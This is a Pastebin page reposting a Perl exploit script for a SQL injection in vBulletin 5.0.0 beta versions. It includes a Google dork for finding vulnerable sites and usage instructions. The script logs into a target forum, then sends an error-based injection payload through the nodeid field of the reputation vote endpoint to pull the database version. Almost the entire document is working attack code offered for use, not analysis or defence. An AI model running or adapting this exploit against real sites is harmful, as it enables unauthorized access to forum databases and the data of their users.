Advertisement
3xploit3r

vBulletin 5 Beta XX SQLi 0day

Aug 1st, 2016
193
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.35 KB | None | 0 0
  1. # Exploit Title: vBulletin 5 Beta XX SQLi 0day
  2. # Google Dork: "Powered by vBulletin™ Version 5.0.0 Beta"
  3. # Date: 24/03/2013
  4. # Exploit Author: Orestis Kourides
  5. # Vendor Homepage: [url]www.vbulletin.com[/url]
  6. # Software Link:
  7. # Version: 5.0.0 Beta 11 - 5.0.0 Beta 28
  8. # Tested on: Linux
  9. # CVE : None
  10.  
  11. #!/usr/bin/perl
  12. use LWP::UserAgent;
  13. use HTTP::Cookies;
  14. use HTTP::Request::Common;
  15. use MIME::Base64;
  16. system $^O eq 'MSWin32' ? 'cls' : 'clear';
  17. print "
  18. +===================================================+
  19. | vBulletin 5 Beta XX SQLi 0day |
  20. | Author: Orestis Kourides |
  21. | Web Site: [url]www.cyitsec.net[/url] |
  22. +===================================================+
  23. ";
  24.  
  25. if (@ARGV != 5) {
  26. print "\r\nUsage: perl vb5exp.pl [url]WWW.HOST.COM[/url] VBPATH URUSER URPASS MAGICNUM\r\n";
  27. exit;
  28. }
  29.  
  30. $host = $ARGV[0];
  31. $path = $ARGV[1];
  32. $username = $ARGV[2];
  33. $password = $ARGV[3];
  34. $magicnum = $ARGV[4];
  35. $encpath = encode_base64('http://'.$host.$path);
  36. print "[+] Logging\n";
  37. print "[+] Username: ".$username."\n";
  38. print "[+] Password: ".$password."\n";
  39. print "[+] MagicNum: ".$magicnum."\n";
  40. print "[+] " .$host.$path."auth/login\n";
  41. my $browser = LWP::UserAgent->new;
  42. my $cookie_jar = HTTP::Cookies->new;
  43. my $response = $browser->post( 'http://'.$host.$path.'auth/login',
  44. [
  45. 'url' => $encpath,
  46. 'username' => $username,
  47. 'password' => $password,
  48. ],
  49. Referer => 'http://'.$host.$path.'auth/login-form?url=http://'.$host.$path.'',
  50. User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',
  51. );
  52. $browser->cookie_jar( $cookie_jar );
  53. my $browser = LWP::UserAgent->new;
  54. $browser->cookie_jar( $cookie_jar );
  55. print "[+] Requesting\n";
  56. my $response = $browser->post( 'http://'.$host.$path.'index.php/ajax/api/reputation/vote',
  57. [
  58. 'nodeid' => $magicnum.') and(select 1 from(select count(*),concat((select (select concat(0x23,cast(version() as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338',
  59. ],
  60. User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',
  61. );
  62. $data = $response->content;
  63. if ($data =~ /(#((\\.)|[^\\#])*#)/) { print '[+] Version: '.$1 };
  64. print "\n";
  65. exit 1;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement